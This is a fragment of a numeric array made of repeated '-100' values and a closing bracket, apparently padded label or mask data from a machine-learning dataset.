-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]